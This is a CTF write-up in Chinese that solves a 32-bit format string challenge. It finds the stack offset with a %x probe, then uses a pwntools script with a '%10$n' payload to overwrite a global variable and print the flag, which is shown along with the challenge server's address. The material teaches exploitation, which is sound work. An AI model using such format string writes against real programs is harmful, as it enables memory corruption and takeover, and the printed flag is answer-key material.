题目

观察
使用IDA打开文件:

注意到格式化字符串(Format String)漏洞的常见漏洞:
1 2
| fgets(s, 100, stdin); printf(s);
|
并注意到main函数里的逻辑,只要pwnme
的值等于8我们即可得到flag。
找到pwnme的地址:

Exploit
首先发送这个Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
host = "61.147.171.105" port = 59350
r = remote(host, port)
test_payload = b"AAAA" + 15*b",%x"
r.recvuntil("your name:") r.sendline("A")
r.recvuntil("leave your message please:") r.sendline(test_payload)
r.interactive()
|
会看到以下内容:
1 2 3 4
| hello A your message is: AAAA,ff91236e,f7f4a5a0,f0b5ff,ff91239e,1,c2,a4198fb,0,0,41414141,2c78252c,252c7825,78252c78,2c78252c,252c7825 Thank you!
|
可以发现第10个值41414141
正是AAAA
对应的ASCII码,这意味着我们的格式化字符串在栈中的偏移是第 10 个位置。(因为我们的输入是由fgets写入进s的,所以会和printf读取的位置有偏差。)
确定参数位置了之后我们便可以通过这个Payload修改pwnme的值了:
1 2 3
| pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + b'aaaa%10$n'
|
首先填需要修改的数据的地址(因为是32-bit的程序,所以地址是32位,也就是4个Byte),由于我们希望将pwnme
的值修改为8,所以我们还需要加4 Byte的padding,也就是4个”a”。
而%10$n
的意思是从 第10个参数位置 取出一个地址,然后把已经打印出来的字符总数(4+4=8)写入那个地址。
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import *
host = "61.147.171.105" port = 59350
pwnme_addr = 0x0804A068
r = remote(host, port)
# test_payload = b"AAAA" + 15*b",%x"
payload = p32(pwnme_addr) + b'aaaa%10$n'
r.recvuntil("your name:") r.sendline("A")
r.recvuntil("leave your message please:") # r.sendline(test_payload) r.sendline(payload)
r.interactive() # hello A # your message is: # haaaa # you pwned me, here is your flag:
# cyberpeace{0a7cd9ddadcf7730d41928c9c3877ee8}
|